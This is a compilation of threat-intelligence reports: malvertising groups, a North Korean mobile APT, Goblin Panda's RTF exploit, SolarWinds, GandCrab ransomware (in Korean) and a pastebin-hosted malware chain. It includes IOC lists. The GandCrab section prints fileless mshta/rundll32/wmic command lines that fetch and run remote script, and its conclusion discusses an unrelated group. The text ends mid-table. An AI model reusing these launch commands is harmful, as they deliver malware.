994ebbe444183e0d67b13f91d75b0f9bcfb011db: Operation Big Bang backdoor - aeeeee47becaa646789c5ee6df2a6e18f1d25228: Pierogi++ - c3038d7b01813b365fd9c5fd98cd67053ed22371: Micropsia family malware - da96a8c04edf8c39d9f9a98381d0d549d1a887e8: Pierogi++ - ee899ae5de50fdee657e04ccd65d76da7ede7c6f: Operation Big Bang backdoor - f3e99ec389e6108e8fda6896fa28a4d7237995be: Pierogi++ ### Domains - aracaravan[.]com: Pierogi++ C2 server - beatricewarner[.]com: Pierogi++ C2 server - bruce-ess[.]com: Micropsia C2 server - claire-conway[.]com: Micropsia C2 server - delooyp[.]com: Micropsia C2 server - escanor[.]live: Pierogi backdoor C2 server - izocraft[.]com: Micropsia C2 server - jane-chapman[.]com: Micropsia C2 server - lindamullins[.]info: Operation Big Bang backdoor C2 server - nicoledotson[.]icu: Pierogi backdoor C2 server - overingtonray[.]info: Pierogi backdoor C2 server - porthopeminorhockey[.]net: Micropsia C2 server - spgbotup[.]club: Operation Big Bang backdoor C2 server - stgeorgebankers[.]com: WIRTE C2 server - swsan-lina-soso[.]info: Pierogi++ C2 server - theconomics[.]net: TA402 C2 server - wanda-bell[.]website: BarbWire C2 server - wayne-lashley[.]com: Micropsia C2 server - zakaria-chotzen[.]info: Pierogi++ C2 server
# Malvertising: Made in China **Jerome Dangu** **September 29, 2021** Two loosely related cybercrime groups operating scores of fake ad agencies from China are so deeply embedded in the ad tech industry that they can launch attacks that surpass the scale of the largest advertisers. At a time when China is under intense international scrutiny, these groups largely fly under the radar, raking in millions of victims in Europe and the US without drawing attention to their source. In this article, we present eGobbler and their doppelganger Nephos7, their origins and what made them successful over time. ## Setting the stage — Rise to success, 2017–2018 eGobbler rose to success by being one of the first groups to leverage JavaScript fingerprinting to target iOS. iOS being the least fragmented mobile environment, they understood that they could build very precise fingerprints for it, allowing them to evade simulated environments as found in the security scanners of that time. Starting with JavaScript Sensor APIs and quickly moving to WebGL-based fingerprinting, they essentially defeated user agent spoofing and gained unfettered JavaScript execution on millions of end-users’ devices since then. ### Stable scheme, with some twists Since 2018, eGobbler has settled on a relatively sophisticated but slow evolving stack: - Leverage ad platforms’ hosting to embed malicious code in HTML5 ad code, typically achieved by injecting the code in or dependencies — libraries commonly found in HTML5 ads. - Use of WebGL-based fingerprinting (among other tricks) to activate on victims’ devices only. - Geo-fencing, using basic server-side cloaking. - One-time use of commercial CDNs as reverse proxies (namely Rackspace and Fastly). - Programmatic ad chains are typically made of an SSP call, a DSP call and optionally an ad server call. eGobbler is adept at creating artificial chains of ad tag redirections between multiple DSPs, which would never exist in the wild. The goal is likely to confuse analysts on the actual source of the ad. - Through 2019, eGobbler slowly migrated to weekend activity. By 2020, they ended up exclusively running on weekends (and holidays) to maximize impact during off hours. Considering eGobbler’s massive scale, this change of tactic alone is the main driver for the rise in general malvertising weekend activity since 2019. ## Breaking the browsers Top malvertising groups see increased browser security around forced redirects as a threat and invest in finding flaws. To boost the efficacy of their payloads, eGobbler came up with a number of zero-day exploits. Detected by Confiant in 2019, CVE-2019–8771 and CVE-2019–5840 are browser vulnerabilities (Safari and Chrome) introduced by eGobbler and allowing them to bypass popup blocking and iframe sandboxing, which are protections against forced redirects. ## Enter Nephos7 Nephos7 started out in Q4 of 2019 with familiar tactics and techniques: - Use of commercial ad servers to hide malicious code. - Use of commercial CDNs as reverse proxies (Cloudfront). - Mimic instantiation of popular JavaScript APIs (e.g. Hotjar, Snowplow, etc.) to hide in plain sight. - Use of WebGL-based fingerprinting (among other tricks) to activate on victims’ devices only. - By end-of-year 2019, Nephos7 had aligned with eGobbler’s weekend patterns with a large attack on December 29. ## Timeline of tactics and payloads From Gift Card Scam to Carrier-branded Scams to Drive-by downloads, Nephos7 tightly follows eGobbler’s path across all dimensions. Not only do the types of payloads align very closely, but the landing pages bear a striking resemblance. As an illustration, below is a comparison of carrier-branded “CC-Submit” scams where the victim is presented with a fake message from their ISP (or mobile phone carrier) inviting them to enter their credit card information to confirm their prize. From June 2020, both attackers switched focus to the United States and introduced drive-by download payloads. Below is a comparison of landing pages pushed by each threat actor in the US: Almost the same, dropping the same adware (different hashes), no overlap in infrastructure. Nephos7 wins with its “Premier Software Updater” ™. ### Introducing “Holcus Installer” The adware dropped by Nephos7 and eGobbler, research by Lead Security Researcher, Confiant: - eGobbler July 25 campaign downloads a .msi file with the following sha-256 hash: c818fe4c3fd3b0dbcfc3f17440e110c5a6ce3729382ffc88db8f83f830a115f9. - Nephos7 July 26 campaign downloads a .msi file with the following sha-256 hash: fb7d3f3914bf1722b3b369b23509b3746a44496bd3c78de91f27f8ee8d0ebead. Both of these .msi files unpack and run the same variant of a signed installer we dubbed Holcus Installer. The Holcus Installer samples we collected so far were all signed, and some of their features include: - C2 communications via HTTPS, with certificate pinning checks. - All Holcus Installer strings hinting to main functionality, C2 server, and executed commands are all encrypted with a custom RC4-like algorithm. - Holcus Installer checks if PUA detection (PuaProtection field) is enabled in the current Windows Defender configuration. - Holcus Installer has the capability to download and execute binaries from the C2 server and sends hardcoded status messages to the C2 server by encoding them using a bin2hex encoding. ## Explaining the striking resemblance We think that the two groups are solely focused on redirecting visitors to malicious “offers” that are operated by different groups, themselves specialized in operating these schemes. Malvertisers can shop around with different affiliate marketers to get the best yield for their traffic. Somehow Nephos7 and eGobbler are shopping around at the same stores. ## 2020’s Largest Digital Marketers Both actors maintained presence through 2020, with Nephos7 being wildly successful in the first half of the year in Europe, while eGobbler maintained a steady pace and more successfully transitioned to targeting the US in the second half of the year. In 2020, both actors achieved “web scale” on multiple occasions. No other malvertising group was able to create anything comparable to this massive ecosystem disruption. Clocking at 5% of all display advertising on May 24th, Nephos7 arguably became (for an instant) the largest digital marketer in Europe. In comparison, eGobbler’s most significant spike “only” hit 2.3% on July 25th. In total, in 2020, Confiant blocked 112 million ads from eGobbler and 198 million ads from Nephos7 on behalf of our online publisher clients. Extrapolating our data, we estimate 6 billion malicious ads were served by the two actors during the period. ## Targeting Device/OS targeting has been markedly different between the two actors. In 2020, eGobbler was heavily focused on targeting desktop computers (76%) while Nephos7 was more evenly split between mobile devices (52%) and desktop (48%). Notably, in 2020 iOS only received a small fraction of hits from eGobbler (1.8%) while being completely excluded by Nephos7. Both actors have favored Android as their mobile platform of choice. To achieve the sort of persistent scale that both actors enjoyed in 2020, they became experts at building relationships with “DSP” ad platforms. To enter the ad tech ecosystem, they worked to look reputable from all perspectives, including building a reputable looking corporate identity, using a commercial ad server to host ad creatives, and running dummy ad campaigns for weeks or months at low volumes to build reputation before flipping the switch. ## Hunting Corporations Programmatic advertising has been architectured such that online publishers have little oversight or visibility on campaigns that are running on their sites. What will start running at full throttle at 8 am on a quiet Sunday morning (eGobbler’s and Nephos7’s favorite modus operandi) is left to sheer unpredictability. The situation is quite different if you take the perspective of a DSP. To qualify for the kind of scale that these threat actors are craving for, customers typically go through a thorough approval process, mostly focused on assessing risk based on reputation. ## Burn and Repeat Once they’ve committed their deed, the abused DSP forever bans the offending entity used to finance the malicious ad campaign. This constraint shapes for our attackers a fairly simple game plan: - Create many legal entities. - Burn them one by one with each DSP. - Repeat. Due to the lack of industry-wide buyer transparency, malicious entities have the leisure to strike repeatedly without fear of industry-wide ban. ## Network of Organized Crime Over time, Confiant’s security team started to methodically pin attacks to their corresponding legal entities. This effort could not have been possible without the cooperation of many impacted DSPs. ### Nephos7 Entities We believe Wooden Ads started operating some time in Q4 of 2019 as the first Nephos7 front company making the rounds through the major DSPs. With an incorporation in November 2017, one can only wonder what this company was previously used for. The level of sophistication we’ve identified right from its inception is consistent with a previous life in malvertising. Despite a remarkable streak of Wooden Ads activity, it soon became time to invoke more legal entities to establish more DSP connections. By June, Nephos7 started rolling out a wide range of entities that had been patiently staged since 2018. In total, between June and November, 8 entities were responsible for Nephos7 attacks. ### eGobbler Entities Confiant has been tracking eGobbler since 2017 but only started building consistent entity attribution in 2020. We know however that eGobbler started out by registering legal entities in Hong Kong and over time realized that registering in the US would carry more reputation and facilitate building business relationships with DSPs. ## Wrapping up We believe we’ve achieved a significant level of visibility in both eGobbler’s and Nephos7’s infrastructure. By disclosing our findings, we are hoping to wipe out a good amount of their infrastructure in a single blow and educate on these threats and how to defend against them. One burning question remains: Are Nephos7 and eGobbler two divisions of the same group? Are they competitors? Having collected hundreds of IOCs on both actors, we can confidently say that both infrastructures are completely separated and do not overlap. However, the modes of operation and evolution of tactics are strikingly aligned in unique ways, suggesting that the two Chinese groups are probably aware of each other and tracking each other’s iterations.
# Dragon Messenger ## Background of “Dragon Messenger” APT Operation ESRC (ESTsecurity Security Response Center) has recently discovered a stealthy mobile APT attack carried out by the Geumseong 121 APT hacking group. The hacker group distributed a malicious app (APK) via a site disguised as a fundraising service for supporting North Korean defectors. The website is built on the WordPress platform, and the domain was created on August 23, 2019, and updated on October 22. The snapshots displayed from September 11 to October on the timeline indicate that it is a charity site supporting North Korean defectors, and the Android app installation link (Google Play) was added in October. The site tricks North Korean defectors and North Korea-related organizations into installing the apps using various promotion strategies. ESRC has named the operation "Dragon Messenger" based on several interesting factors found in the campaign, such as the malicious application that collects data via the 'DragonTask' path and the attack performed under the guise of a secure messenger. Since the above fundraising sites for supporting North Korean defectors were created, they have been spread via various channels (email, SNS) along with guidelines for the related apps, mainly targeting those who work in the North Korea-related field. It became known to the public through comments written by the ID 'David Kim,' who introduces himself as the administrator of the website related to the North Korea field. Many words and expressions written in North Korean were found during the website investigation process. It is highly likely that such expressions exist in reality because it is a North Korean defector-related site. ESRC has conducted a thorough investigation on the YouTube site run by the same administrators as those of the Android apps that were distributed on the site when two apps were registered on the official Google Play Store, all of which have currently been removed by Google. The application informs that North Korean defectors can share their life-related issues, get the support they need, and specify donation services. In the application image displayed in the official Google Play Market, there is a '계정 창조' (North Korean expression, meaning creating an account) button. This is usually referred to as "계정 생성" (South Korean expression, meaning creating an account) in South Korea. Both ‘창조’ and ‘생성’ mean ‘creation’ in English. Also, the only Wi-Fi connection was likely used for performing a screenshot capture, which seems to be because the SIM card was not inserted in the smartphone. Cosmosfarm-based board for posting social comments had been included on the site until October 23, but the bulletin board was removed around October 28. The deleted board had YouTube links and comments saying that the writers prefer the site. YouTube videos showing how to use the Korean smartphone provide information on the installation of the application and guidance on how to use the installed application. The attacker performs malicious activities on Facebook with the same account as YouTube, with about 330 friends registered. This suggests that attackers have prepared the attack in advance using Facebook, and the registered friends can be exposed to a potential threat. The YouTube video shows a demo of installing an application on the smartphone. Taking a closer look at scenes from the video reveals that the hacker logged in with the name 'Lee Mi-Kyung' and the account 'borisanatoly' when creating the video. ‘Lee Mi-Kyung’ is the first person who wrote a post in an app service on September 20, 2019, at 14:10. The 'David Kim' account, possibly the administrator of the website, posted several comments on September 20 at 14:20. It seems that the attacker posted comments that appeared as a conversation between two persons using two different accounts every 10 minutes. Also, the name 'Lee Mi Kyung' left on the information on the official Google Play app indicates that two accounts were closely related from the beginning and that one person managed both accounts. The APT hacker planned a highly strategic tactic scenario to gather the attack targets by developing the community-based charity app for North Korean defectors. Gathering North Korean defectors in a specific cyberspace enabled the hackers to secretly spy on the defectors’ conversations as well as create monetary profit by collecting donations and promoting the site with advertisements. ESRC believes that such malicious activities of the Geumseong121 hacker group will signal ‘a new mobile threat’ in the future. ## Smart Threat Disguised as a Charity Site for Supporting North Korean Defectors The hacker group behind the attack created and distributed multiple malicious apps, disguising them as messengers mainly used for secret chats. One of the apps disguised as sponsoring North Korean defectors was officially registered in the Google Play market. When joining the membership of the site using an email account (except for Kakao or Naver), the username and password entered by the user using the 'createUserWithEmailAndPassword' method will be used to create the account 'Firebase' and log in to the site. In addition, the account information is stored in plain text in the 'config.xml' file in the 'shared_prefs' path of the app, exposing users to potential security threats. ESRC focused on collecting additional threat evidence in addition to the possibility of account disclosure threats upon initial sign-up, regarding the latest version registered on Google Play's official market, and found other similar codes in the analyzing process. We also found a connection between the recently found campaign and the previous mobile infringement by the Geumseong 121 APT hacker group during the analyzing process of the additional codes. ## Targeted Attack Using KakaoTalk Message Many malicious apps attempting installation have been detected from June 2019 until recently. The attackers steal the names and profile images of certain people who live in the United States, create their KakaoTalk accounts, and attempt to access South Koreans working in the North Korea-related field. KakaoTalk users can add friends only with their phone numbers, which could help the attackers abuse the list of phone numbers to select attack targets. The attacker attempts to impersonate a vice president and an advisory board member of The Korean American Association or a researcher at the Institute of Peace. The attacker pretends to be the researcher at the Institute of Peace in the US in KakaoTalk dialogue, tricks victims into believing that he has been collecting North Korea-related information, and suggests conversation with a secure messenger app while encouraging users to click a specific URL link to install a malicious app disguised as a messenger app. The attacker has disguised himself as secured messengers, such as ‘Threema’ developed in Switzerland and ‘Wickr’ made in the US. The malicious apps provide most of the functions that a normal secure messenger has to avoid users’ suspicion, and all of these apps perform similar functions. The apps are highly similar to the Android malicious apps found in the ‘Geumseong121 APT hacker group performing the attack targeting smartphones using the steganography technique' released on August 5. The investigation reveals that the victims of malicious apps disguised as overseas secure messengers were also exposed to the attack disguised as the charity site supporting North Korean defectors. The same functions were found in an earlier version of a malicious app, but not in the final version found in the official Google Play market. It seems that the attackers made an effort to avoid suspicion that the North Korean fundraising apps originated from the previously discovered malicious apps. However, the initial version of those malicious apps includes functionality that attempts to communicate with Dropbox and Yandex. We also found that some variable declarations used by malicious apps are almost identical to those found in previously discovered malicious apps. ## Eavesdropping Attacks Using Android Smartphone ESRC is paying attention to investigate the threat activities of the state-sponsored APT hacking group 'Geumseong121' targeting Android smartphone users. The ‘zombied’ smartphones, which are exploited in cyber operations, have emerged as an important threat that should not be overlooked. Several attempts to steal SMS and phone address books, eavesdrop on phone conversations, and leak KakaoTalk messages appearing in the notification window have been discovered recently. It is also worth noting that quite popular celebrities have been exposed to the 'Dragon Messenger' APT attack. When an Android smartphone is exposed to a mobile threat, not only personal privacy but also the contents of institutional and corporate meetings and photos in the gallery will be leaked in real time. ESRC has found that many smartphone users in a wide range of fields have been ‘zombied’ in the tracking and analyzing process of the mobile APT attack. It was quite surprising that most of the victims are unaware of the infection, and the infected smartphones have been monitored by attackers for a long period. ## Indicator of Compromise - 1594679f51bdebe4701d062f3c8f0dc3 - dfb8e001b3ecfc63200dd4c5c21f53d5 - 02d5e68bef32871765b7e6e71f50499d - c36de50fe488e5015a58a241eb9b2411 - 1e32cd693a0dd137959b87ca359b2831 ESRC will provide additional Indicators of Compromise (IoC) of the threat via the 'Threat Inside' threat intelligence report.
# Goblin Panda against the Bears **Sebdraven** August 3, 2018 During my last investigation, I’ve found two RTF malware documents with the same techniques of exploitation of CVE-2017–11882: - A file 8.t in %TMP% with Package Ole Object - The same loop of decryption - The same runPE after overwriting in memory EQNEDT32.exe But the payload is really different. It’s not a version of PlugX but a version of Sisfider studied by Ncc group. With the behaviour graph of Joe Sandbox, we can recognize the same interactions with the operating system as in my last article and the paper of NCC Group. The difference with the version studied by NCC Group is the Package Ole Object. In the article of NCC Group, the researchers talk about a SCT File and many JavaScript manipulations for dropping the RAT on the disk and to start it. Here, the payload is encrypted in the 8.t file. If we analyze EQNEDT32.exe overwritten to recognize the payload, we have the same techniques anti-emulation with the same value. In a thread, the process posts in a queue the value 5ACE8D0Ah. The verification is calling GetMessage() and the value is stored in EAX in the function sub_401A60. The comparison is made in the calling function sub_4027D0. Just after, we find again the loop of decryption for the config. It’s the same algorithm described: a simple XOR loop with a rolling key. The mechanism of persistence is the same with a service creation just after dropping different files and a privilege escalation. We found the same name of the DLL files. The malware overwrites the COM object {9BA05972-F6A8–11CF-A442–00A0C90A8F39} to execute when this COM object is called to make a persistence. All evidence shows it is the same payload Sisfader RAT. The toolset for exploiting the module of equation is the same as used in the compromise of Vietnamese Officials by Goblin Panda (APT 1937CN). If we check the domain contacted by EQNEDT32.exe, it is kmbk8.hicp.net. This address is a real good pivot. It makes the link with Goblin Panda and SisFader RAT. The infrastructure is very interesting; this domain resolves on three IPs: 122.158.140.100, 122.158.140.100, and 103.255.45.200. These addresses can permit to find other domains: sd123.eicp.net with new IP 180.131.58.9 and cv3sa.gicp.net with new IP 1.188.233.201. The IP Address 103.255.45.200 has two domains: www.36106g.com and 36106g.com. All infrastructure is based in Shanghai. The victims are different from the Vietnamese campaign. They targeted Telecom Firms pretending to be the Intelligence Service of Russia (FSB). So Goblin Panda targets, like the report of CrowdStrike, the telecom industries in Russia. **Conclusion** Goblin Panda used Sisfader RAT to target the Telecom Firms in Russia with the same exploitation techniques used against Vietnamese Officials. They updated their techniques compared to the report of NCC Group. **IOCs:** **RTFs:** - 722e5d3dcc8945f69135dc381a15b5cad9723cd11f7ea20991a3ab867d9428c7 - 71c94bb0944eb59cb79726b20177fb2cd84bf9b4d33b0efbe9aed58bb2b43e9c **Domains IP:** - 1.188.233.201 cv3sa.gicp.net - 1.188.236.22 cv3sa.gicp.net - 1.188.236.22 kmbk8.hicp.net - 1.188.236.22 sd123.eicp.net - 103.255.45.200 36106g.com - 103.255.45.200 cv3sa.gicp.net - 103.255.45.200 kmbk8.hicp.net - 103.255.45.200 sd123.eicp.net - 103.255.45.200 www.36106g.com - 122.158.140.100 cv3sa.gicp.net - 122.158.140.100 kmbk8.hicp.net - 122.158.140.100 sd123.eicp.net
# Hackers Lurked in SolarWinds Email System for at Least 9 Months, CEO Says February 3, 2021 A suspected Russian cyberattack of the federal government has breached at least six cabinet-level departments. WSJ’s Gerald F. Seib explains what the hack means for President Joe Biden's national security efforts. By Robert McMillan Feb. 2, 2021 9:06 pm ET The newly appointed chief executive of SolarWinds is still trying to unravel how his company became a primary vector for hackers in a massive attack revealed last year, but said evidence is emerging that they were lurking in the company’s Office 365 email system for months. The hackers had accessed at least one of the company’s Office 365 accounts by December 2019, and then leapfrogged to other Office 365 accounts used by the company, Sudhakar Ramakrishna said in an interview Tuesday. “Some email accounts were compromised. That led them to compromise other email accounts and as a result our broader [Office] 365 environment was compromised,” he said.
# ASEC REPORT Vol.91 ASEC(AhnLab Security Emergency response Center, 안랩 시큐리티 대응센터)은 악성코드 및 보안 위협으로부터 고객을 안전하게 지키기 위하여 보안 전문가로 구성된 글로벌 보안 조직입니다. 이 리포트는 주식회사 안랩의 ASEC에서 작성하며, 주요 보안 위협과 이슈에 대응하는 최신 보안 기술에 대한 요약 정보를 담고 있습니다. ## 보안 이슈 ### 변종별 특징부터 킬 스위치까지, 갠드크랩 랜섬웨어의 모든 것 올해 초 취약한 웹 사이트를 통해 유포되기 시작한 갠드크랩(GandCrab) 랜섬웨어가 2018년 2분기 들어선 지난 4월 초부터는 다양한 변종 형태로 잇따라 등장하며 국내에 본격적으로 확산되기 시작했다. 특히 단일 실행 파일로 동작하는 형태뿐만 아니라, 파일로 생성되지 않고 메모리 상에서만 동작하여 암호화를 진행하도록 하는 파일리스(Fileless) 형태의 등장이 뜨거운 감자로 떠올랐다. 안랩 시큐리티대응센터(ASEC)는 갠드크랩 랜섬웨어와 그 변종을 지속적으로 추적, 분석했다. 그 결과, 갠드크랩 랜섬웨어의 킬 스위치(Kill Switch)를 찾아내 자사 고객의 피해 예방을 위한 대응 방안을 배포할 수 있었다. 이 리포트에서는 갠드크랩 랜섬웨어의 버전별 형태, 감염 방식 등 주요 특징과 킬 스위치(Kill Switch)까지 면밀히 살펴본다. ### 01. 유포 방식 갠드크랩 랜섬웨어의 유포 방식은 크게 파일리스(Fileless) 형태의 유포와 실행 파일 형태의 유포 두 가지로 나눌 수 있다. #### (1) 파일리스(FILELESS) 형태의 유포 파일리스 형태로 유포된 갠드크랩 랜섬웨어는 갠드크랩 v2.1, 갠드크랩 v2.1(내부 버전 version=3.0.0), 갠드크랩 v3.0으로 구분할 수 있다. 각 버전별 갠드크랩의 특징을 살펴보자. **갠드크랩 v2.1** 지난 4월 초, 파일 형태로 생성되지 않고 오직 메모리 상에서만 동작하는 갠드크랩 v2.1가 최초로 발견되었다. 이와 같은 형태의 갠드크랩 랜섬웨어는 매그니튜드(Magnitude) 익스플로잇 킷을 통해 유포되었으며, 동작 방식은 다음과 같다. 사용자가 유포 사이트에 접근 시, 공격자가 의도한 윈도우 정상 프로세스인 mshta.exe, rundll32.exe, WMIC.exe를 통해 특정 URL로 접속을 유도한다. 해당 정상 프로세스를 통해 접속하는 페이지에는 악성 자바 스크립트가 포함되어 있다. 각 프로세스별 스크립트 실행 방식은 다음과 같다. - **mshta.exe로 구동되는 커맨드 명** `GetObject("new:13709620-C279-11CE-A49E-444553540000").ShellExecute "mshta","vbscript:Close(Execute("GetObject("script:"URL")))"` - **rundll32.exe로 구동되는 커맨드 명** `GetObject("new:13709620-C279-11CE-A49E-444553540000").ShellExecute "Rundll32.exe","javascript:"\\..\\mshtml,RunHTMLApplication"&"&";document.write();GetObject('script:URL')"` - **WMI로 구동되는 커맨드 명** `GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Run "wmic process call create "'"mshta vbscript:Close(Execute("""GetObject(""""script:"URL""")"""))"'` 접속 URL 페이지에 작성되어 있는 악성 스크립트가 실행되면 코드 내부에 Base64로 인코딩된 DLL 이미지를 디코딩하여 메모리 상에서 동작하도록 한다. 디코딩된 DLL 이미지는 내부에 갠드크랩 v2.1의 핵심이 되는 또 다른 DLL 이미지를 explorer.exe에 인젝션하여 동작하도록 한다. 파일리스 형태의 갠드크랩은 이와 같이 악성 행위 과정에서 자바 스크립트 및 PE 이미지를 파일로 드롭하거나 다운로드하지 않은 채 메모리 상에서만 동작하게 하는 것이 특징이다. **킬 스위치 1: 갠드크랩 v2.1 암호화 방지** 안랩 분석 결과, 특정 조건에서 갠드크랩 v2.1의 파일 암호화가 중단될 수 있게 하는 킬 스위치(Kill-Switch)를 확인하였다. ‘Text.txt’ 파일 내부에 10바이트의 특정 데이터가 존재할 경우, 해당 파일 이하 경로는 암호화하지 않는다. 즉, 특정 데이터를 포함한 ‘Text.txt’ 파일을 각 드라이브 루트 경로에 복사해 놓으면 해당 드라이브 하위의 파일들에 대한 암호화를 막을 수 있게 된다. - C:\Text.txt (C드라이브 하위 암호화 차단) - D:\Text.txt (D드라이브 하위 암호화 차단) **갠드크랩 v2.1 (내부 버전 version=3.0.0)** 이번에 살펴볼 갠드크랩은 앞서 확인한 갠드크랩 v2.1과 표면적으로 동일하나, 파일 암호화 후 나타나는 랜섬노트에 표기된 버전과 실질적인 암호화 기능을 수행하는 DLL 파일 내에 하드코딩된 버전이 다르다는 점이 특징적인 점이다. 분석 결과 랜섬노트에는 ‘GandCrab v2.1’로 나오지만, 실제로 공격자에게 전달되는 내부 버전 정보는 ‘3.0.0’인 것으로 확인되었다. 해당 데이터는 암호화 PC의 고유 ID, 암호화 키 등의 값과 함께 공격자에게 HTTP 통신 파라미터로 전달된다. 내부 버전 3.0.0으로 명시된 DLL 파일은 바이너리 빌드 날짜가 2018년 4월 23일(UTC)로, 랜섬웨어 공격자는 최근까지도 악성코드를 제작 및 유포하고 있다는 점을 알 수 있다. **킬 스위치 2: 갠드크랩 v2.1(내부 버전 version=3.0.0) 암호화 방지** 갠드크랩 v2.1(내부 버전 version=3.0.0) 또한 마찬가지로 특정 조건에서 파일 암호화가 중단될 수 있는 킬 스위치가 확인됐다. 갠드크랩 v2.1 실행 시 시스템 C:\ 경로 내에 ‘MalwarebytesLABs’ 이름을 가진 파일 또는 폴더가 있을 경우 메시지 창이 나타난다. 이때 악성 프로세스는 [확인] 버튼에 대한 사용자의 마우스 클릭 동작(이벤트)을 대기하기 때문에 암호화 단계로 넘어가는 것을 일시적으로 멈추게 된다. 따라서 메시지 창이 발생했을 경우에는 [확인] 버튼을 클릭하거나 창을 닫지 말아야 하며, 즉시 시스템을 종료하면 암호화가 되는 것을 방지할 수 있다. **갠드크랩 v3.0** 갠드크랩 v2.0 이후 지난 4월 말부터 5월 초에 거쳐 파일리스 형태의 갠드크랩 v3.0이 잇따라 등장하였는데, 갠드크랩 v3.0의 경우 동작 방식에서 이전 버전인 v2.0과는 상당한 차이를 보였다. #### (2) 실행 파일 형태의 유포 실행 파일 형태로 유포된 갠드크랩 랜섬웨어는 크게 지원서 및 정상 유틸리티 프로그램으로 위장한 갠드크랩 v2.0과 스팸 메일을 통해 이력서로 위장한 갠드크랩 v3.0으로 구분할 수 있다. **지원서 및 정상 유틸리티 프로그램으로 위장 (갠드크랩 v2.0)** 안랩에서 수집한 갠드크랩 랜섬웨어를 분석한 결과, 갠드크랩 v2.0은 수집된 경로, 파일명 등을 지원서 및 정상 유틸리티 프로그램으로 위장하여 유포되고 있음을 확인하였다. **스팸 메일을 통해 이력서로 위장 (갠드크랩 v3.0)** 지난 5월 초에는 사회 공학 기법을 이용해 채용 정보 사이트에 정보를 기재한 인사 담당자를 대상으로 이력서 형태의 갠드크랩 v3.0 랜섬웨어가 집중 유포됐다. 공격자는 입사 지원자를 사칭한 메일을 통해 인사 담당자가 메일 본문에 포함된 링크를 클릭 시 랜섬웨어 다운로드 페이지로 이동하도록 연결을 유도한다. 사용자가 해당 페이지에서 이력서로 위장한 압축 파일을 다운로드하여 실행하면 갠드크랩 랜섬웨어에 감염된다. ## 감염 동작 방식 및 암호화 방식 ### (1) 감염 동작 방식 앞서 살펴본 갠드크랩 랜섬웨어의 버전을 정리하면 크게 v2.0, v2.1, v3.0 세 가지로 정리할 수 있으며, 각 버전별로 암호화 대상 혹은 제외 대상 등 암호화 조건들이 점차적으로 변화했다. ### (2) 암호화 방식 갠드크랩 랜섬웨어는 v2.0 이후부터 공개키 기반의 암호화 방식을 사용한다. 암호화 대상이 되는 파일마다 랜덤한 키 바이트를 생성하여 AES-256 방식으로 암호화한 뒤, 랜덤 키 바이트를 다시 공격자의 공개키로 암호화한다. 따라서 암호화된 파일을 복호화를 하기 위해서는 공격자의 개인키가 필요하다. ## 안랩 제품의 대응 현황 V3 제품군에서는 갠드크랩 랜섬웨어의 최신 변종을 다음과 같은 진단명으로 탐지하고 있다. - 파일리스(Fileless) 형태의 갠드크랩 - 실행 파일 형태의 갠드크랩 ## 결론 안랩 시큐리티대응센터(ASEC)가 특정 국가와 관련된 것으로 추정되는 해킹 그룹의 최근 공격 동향을 분석한 결과, 표면적으로는 정보 유출이 주 목적인 것처럼 보이지만 실제로는 오퍼레이션 레드 갬블러와 같이 탈취한 정보를 이용하여 경제적 이득을 취하려는 시도 또한 다수 존재했다. 특히 지난 2016년부터 국내를 타깃으로 지속적인 공격을 전개해 온 A 공격 그룹은 과거 국내 주요 기관 및 기업에 대한 공격에 집중했던 것과는 별개로 최근 다수의 일반 사용자들에게도 사이버 공격을 수행하며 공격 대상을 다각화하고 있다. A 공격 그룹은 경제적 이익을 위해 앞으로도 다양한 악성코드를 사용하여 다수의 공격을 시도할 것으로 예상되며, 이러한 공격에 대비하기 위해 국가 기관과 보안 업체 간의 긴밀한 공조와 협력이 필요할 뿐만 아니라 개인 사용자들도 더욱 각별한 주의가 필요하다.
# New Pastebin-like Service Used in Multiple Malware Campaigns Juniper Threat Labs identified several malware campaigns that rely on a pastebin-like service for its infection chain. The domain in question is **paste.nrecom.net**. The attacks usually start as a phishing email and, when a user is tricked into executing the malware, it downloads the succeeding stage of the malware from paste.nrecom.net and loads it into the memory without writing to disk. Using a legitimate web service for the malware infrastructure is not new, as we have seen APT group FIN6 using pastebin to host parts of the infection chain and Rocke using it for command and control. Although using legitimate web services is not novel, this is the first time that we have seen threat actors use paste.nrecom.net. Among the malware we have identified are **AgentTesla**, **LimeRAT**, **Ransomware**, and **Redline Stealer**. ## What is paste.nrecom.net? Paste.nrecom has been in service since May 2014. If you are not familiar with pastebin, it is a service where you can post your code or text data with the intent of sharing it with others. Paste.nrecom does the same thing and it also offers an API that allows scripting. This is advantageous to threat actors as they can easily insert and update data programmatically. This service is powered by Stikked, which is an open-source PHP-based pastebin. ## How do threat actors use it for malicious purposes? Because it is a text-only service, one would think that it cannot host an executable file (binary data) into it. However, binary data can be represented as a text file by simply encoding it. The common encoding method is using base64. That is exactly what the threat actors did in this case. To add another layer of obfuscation, they encrypt the binary data with a XOR key. After base64 decoding, the file is still encrypted with the XOR algorithm. After all the necessary decoding and decryption, you will then see the executable file. From September 21, 2020, we have seen several malware families taking advantage of this service and quickly ramped up. ## Malware Campaigns The attack usually starts with a phishing email that includes an attachment, such as a document, archive, or an executable. When a user is tricked into installing the malicious attachment (first stage), it downloads the next stages from paste.nrecom.net. We have also seen malware hosting their configuration data in the same service. ### Agent Tesla Agent Tesla is a spyware that is capable of stealing personal data from web browsers, mail clients, and FTP servers. It can also collect screenshots, videos, and capture clipboard data. Recent versions of this malware are also capable of stealing personal data from VPN clients. It is being sold on the underground markets for as low as $15 and could go up to $70 depending on the additional features. Agent Tesla is among the most active malware using this pastebin-like service. Campaigns usually start with a phishing email with a malicious attachment. Based on the samples we found, these campaigns target multiple industries related to shipping, supply chain, and banks. In some cases, the attachments are archives, such as .iso, .rar, or .uue. **Attachment Sha256:** ``` 9c38ab9d806417e89e3c035740421977f92a15c12f9fa776ac9665a1879e5f67 ``` As you can see from the chain, there are two requests to paste.nrecom because it divides the Agent Tesla payload into two. The first request is the first half of the file and the second request makes the second half. This technique makes it harder for security solutions to analyze the payload. Another sample phishing email has the attachment with Sha256: ``` 199a98adf78de6725b49ec1202ce5713eb97b00ae66669a6d42f8e4805a0fab9 ``` Below are email attachments and files inside some email attachments that we have found to install Agent Tesla using paste.nrecom. | File Name | Sha256 | |-----------|--------| | Emirate bank TT copy 2020-09-20 at 07.30.55.uue | f8c02c3f6d22978b3c478d0fb7ad4845609b8ad4a38e0ed2a75721156a6a8e44 | | Inv C-22464 PO 3871.exe | 27f8e739b62c685c4115f49ae146bb75271d0b8fad021436939735bf7492186b | | PO#150367285 SECONDO VERGANI SPA Ref#BK043383.exe | 3101003430beae11fe082a07878ac2f643a64e3abd82b7b2a787a0e1fde27307 | | 